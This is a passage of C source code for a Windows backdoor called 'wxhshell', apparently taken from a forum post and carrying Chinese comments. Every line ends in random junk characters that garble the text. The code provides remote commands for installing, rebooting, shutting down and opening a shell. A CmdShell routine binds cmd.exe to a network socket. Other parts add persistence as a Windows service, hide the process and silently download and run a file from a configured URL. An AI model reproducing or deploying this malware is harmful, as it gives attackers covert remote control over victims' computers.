    switch(cmd[0]) { !RLg[_'  
  -ea>}S  
  // 帮助 .$+]N[-=  
  case '?': { jw$3cwddH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E6n3[Z  
    break; O=}4?Xv  
  } |pJ)w  
  // 安装 )/H=m7}1h  
  case 'i': { _[-+%RP  
    if(Install()) ]gYnw;W$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $:"r$7  
    else W B)<B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f)$+mi  
    break; '3Yci(t+  
    } {S(d5o8  
  // 卸载 6k;__@B,  
  case 'r': { FblwQ-D  
    if(Uninstall()) Tl=cniy]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=@Lyt)_b  
    else +MPM^m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {]plT~{e  
    break; D.o|pTZ  
    } !b0'd'xe  
  // 显示 wxhshell 所在路径 x\r7q  
  case 'p': { Ddde, WJA  
    char svExeFile[MAX_PATH]; <`*}$Zh  
    strcpy(svExeFile,"\n\r"); S(](C  
      strcat(svExeFile,ExeFile); />;1 }  
        send(wsh,svExeFile,strlen(svExeFile),0); w#eD5y~'oo  
    break; WyVFh AuU  
    } + 8 5]]}I  
  // 重启 Zh`lC1l'  
  case 'b': { ?ix--?jl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^RytBwzKM  
    if(Boot(REBOOT)) MB :knj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gwxx W   
    else { LY2oBX@fC  
    closesocket(wsh); }\}pSqW  
    ExitThread(0); xc[@lr  
    } ZB GLwe  
    break; xaSvjc\  
    } sfi.zu G  
  // 关机 V %'`nJ!  
  case 'd': { j*>+^g\Q6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \bqIe}3V7  
    if(Boot(SHUTDOWN)) 0F-X.Dq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *T j(IN  
    else { ?D-1xnxep  
    closesocket(wsh); Hrq1{3~  
    ExitThread(0); TjxZ-qw<  
    } IY6DZP  
    break; !"/]<OQ   
    } F>Rz}-Fy  
  // 获取shell Vrn. #d  
  case 's': { Jm$. $B&I  
    CmdShell(wsh); *LpEH,J  
    closesocket(wsh); lY/{X]T.(  
    ExitThread(0); }# 'wy  
    break; "OF4#a17  
  } Gm;)Om_  
  // 退出 Vy0s%k  
  case 'x': { #j -bT4!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t!RR5!  
    CloseIt(wsh); {'VP_ZS1v  
    break; zY~  
    } _O)xE9t#ru  
  // 离开 z(2pl}  
  case 'q': { B*btt+6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RY'f%c  
    closesocket(wsh); b/'{6zn  
    WSACleanup(); A^:[+PJHN  
    exit(1); "*W:  
    break; |D+"+w/  
        } z<aBGG  
  } w>Iw&US  
  } 's>   
)9F-h8 &"  
  // 提示信息 a0I+|fR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )QYg[<e6  
} bA}9He1  
  } H'k$<S  
C(zgBk  
  return; .[&0FHnJ5  
} !z">aIj\6  
pgbm2mT9  
// shell模块句柄 i ,Cvnp6Lv  
int CmdShell(SOCKET sock) "%fh`4y3\  
{ MCOiB <L6  
STARTUPINFO si; zQ3m@x  
ZeroMemory(&si,sizeof(si)); MB.\G.bV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -n&g**\w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Y *unk<S  
PROCESS_INFORMATION ProcessInfo; K~'!JP8@  
char cmdline[]="cmd"; 2%|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  m(CW3:|  
  return 0; 0VsQ$4'V^  
} 9A_{*E(wd  
<T]%Gg8  
// 自身启动模式 {gh41G;n  
int StartFromService(void) MMlryn||1  
{ V]I@&*O~ r  
typedef struct 9U[Gh97Sf  
{ R_9&V!fl  
  DWORD ExitStatus; .{+KKa $@G  
  DWORD PebBaseAddress; 3ARvSz@5  
  DWORD AffinityMask; 'a.n  
  DWORD BasePriority; mGx!{v~i&  
  ULONG UniqueProcessId; \f| Hk*@  
  ULONG InheritedFromUniqueProcessId; sF9{(Us  
}   PROCESS_BASIC_INFORMATION; hojP3 [  
od~^''/b  
PROCNTQSIP NtQueryInformationProcess; l-s%3E3  
_vOV(#q2a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VB>KT(n-b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8VG6~>ux'>  
:"m~tU3&  
  HANDLE             hProcess; TljN!nv]  
  PROCESS_BASIC_INFORMATION pbi; 5)h#NkA\J  
n>Cl;cN=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k3[rO}>s  
  if(NULL == hInst ) return 0; \s_lB~"P!3  
W|@7I@@$"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fP 1V1ao  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $+(Df|)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VnlgX\$}  
UN ;9h9  
  if (!NtQueryInformationProcess) return 0; wQ1_Q8:Z  
Pjz_KO/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +'fy%/  
  if(!hProcess) return 0; 'ec G:B`S  
Ah^0FU%!g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7# >;iGuz  
pypW  
  CloseHandle(hProcess); l^`& Tnzv  
HCBZ*Z-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q/T(s  
if(hProcess==NULL) return 0; 1XfH,6\8i  
(PVK|Q55y  
HMODULE hMod; dA,irb I0W  
char procName[255]; +65OR'd  
unsigned long cbNeeded; s*'L^>iZ  
@8keLrp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Y~UeJ_\Lq  
cnJL*{H<2  
  CloseHandle(hProcess); z+@ CzHCN  
$H0diwl9R  
if(strstr(procName,"services")) return 1; // 以服务启动  Om%HrT  
C\-Abq c  
  return 0; // 注册表启动 cb36~{  
} OGl>i  
Z|78>0SAt  
// 主模块 8]SJ=c"}Xf  
int StartWxhshell(LPSTR lpCmdLine) GUX! kj  
{ )gX7qQ  
  SOCKET wsl; cZ8lRVaWW  
BOOL val=TRUE; bxxazsj^  
  int port=0; ^oZz,q  
  struct sockaddr_in door; 0wFa7PyG?  
gK&MdF*  
  if(wscfg.ws_autoins) Install(); rTJ='<hIy  
Z)JJ-V!  
port=atoi(lpCmdLine); Kmk}Yz  
C-wwQbdG/  
if(port<=0) port=wscfg.ws_port; 2 X];zY  
|)%]MK$;  
  WSADATA data; ;HKb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d3nx"=Cy0I  
Ark+Df/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *.'9eC0s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B/:+(|  
  door.sin_family = AF_INET; ,]:vk|a#;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]1 V,_^D  
  door.sin_port = htons(port); ^[UWG^d  
ywSV4ZtM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AD$$S.zoD<  
closesocket(wsl); UU7E+4O&  
return 1; ^Vbx9UN/  
} tEU}?k+:j)  
xgdS]Sz  
  if(listen(wsl,2) == INVALID_SOCKET) { For`rfR  
closesocket(wsl); sl5y1W/]]  
return 1; 9EPE.+ns  
} <N4)X"s  
  Wxhshell(wsl); TO(2n8'fdO  
  WSACleanup(); zC@ ziH>{]  
S1Z~-i*w  
return 0; ">8]Oi;g  
jY~W*  
} b `W2^/D  
"w PA;4VQ  
// 以NT服务方式启动 @ij8AGE:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @yGK $<R  
{ .Mn_T*F  
DWORD   status = 0; /w!!jj^  
  DWORD   specificError = 0xfffffff; &-S;.}  
bF85T(G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ok0zgi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }NH\Q$IU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Cnn8Y&'  
  serviceStatus.dwWin32ExitCode     = 0; X@["Jjp  
  serviceStatus.dwServiceSpecificExitCode = 0; LTn@OhC  
  serviceStatus.dwCheckPoint       = 0; d`XC._%^J  
  serviceStatus.dwWaitHint       = 0; {6y@;Fd  
IIn sq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >5O#_?  
  if (hServiceStatusHandle==0) return; dy }O6  
*mvDh9v  
status = GetLastError(); GlVb |O"  
  if (status!=NO_ERROR) @Sik~Mm_h  
{ OI8Hf3d=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )=k8W9i8b  
    serviceStatus.dwCheckPoint       = 0; .wdWs tQ  
    serviceStatus.dwWaitHint       = 0; I^u$H&  
    serviceStatus.dwWin32ExitCode     = status; TKwMgC}<[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6'F4p1VG*I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MrW*6jY@  
    return; ym]12PAU5  
  } u|G&CV#r  
#NvL@bH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Y ,  
  serviceStatus.dwCheckPoint       = 0; _EusY3q  
  serviceStatus.dwWaitHint       = 0; |}?o=bO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vgj&h dbd  
} ~Z{IdE  
x;w^&<hQ\  
// 处理NT服务事件,比如:启动、停止 n[E#K`gg'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G $F3dx.I  
{ *GGiSt  
switch(fdwControl) z{>p<)h  
{ fr19C%{  
case SERVICE_CONTROL_STOP: xn &$qLB  
  serviceStatus.dwWin32ExitCode = 0; 5PRS|R7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {hNvCk  
  serviceStatus.dwCheckPoint   = 0; cu@i;Hb@  
  serviceStatus.dwWaitHint     = 0; {9,!XiF.:  
  { VEc^Ap1?'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2~wIHtd  
  } M'gL_Xsei  
  return; Eq\PSa=gz  
case SERVICE_CONTROL_PAUSE: 82>90e(CH]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fPA5]a9  
  break; MB"TwtW  
case SERVICE_CONTROL_CONTINUE: c*@#0B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qs|{  
  break; G9|w o)N  
case SERVICE_CONTROL_INTERROGATE: Hf#VW^  
  break; </jzM?i  
}; lG>,&(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O^L#(8bC  
} ?b,x;hIO  
- Mubq  
// 标准应用程序主函数 Ocp`6Fj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q; n  
{ d$?sS9"8(  
c?/R=/H  
// 获取操作系统版本 dln1JZ!  
OsIsNt=GetOsVer(); uex m|5|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ->rr4xaKC  
:MFF*1  
  // 从命令行安装 <pXF$a:s  
  if(strpbrk(lpCmdLine,"iI")) Install(); +5k^-  
%p(!7FDE2n  
  // 下载执行文件 -V_iv/fmM  
if(wscfg.ws_downexe) { $.0l% $7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ig{ 3>vB  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;&2f{  
} pFW^   
_=Eb:n+X  
if(!OsIsNt) { V0 O6\)/.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~A-vIlGt!  
HideProc(); {)5tov1  
StartWxhshell(lpCmdLine); )%6h9xyXt  
} \}p!S$`  
else AW')*{/(Ii  
  if(StartFromService()) Ui43&B  
  // 以服务方式启动 &9ZrZ"]  
  StartServiceCtrlDispatcher(DispatchTable); |3SM  
else f$|AU- |<  
  // 普通方式启动 a^5.gfzA  
  StartWxhshell(lpCmdLine); g7-*WN<  
.gP}/dj  
return 0; )&F]j  
}
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只看该作者 1 发表于: 2006-10-10
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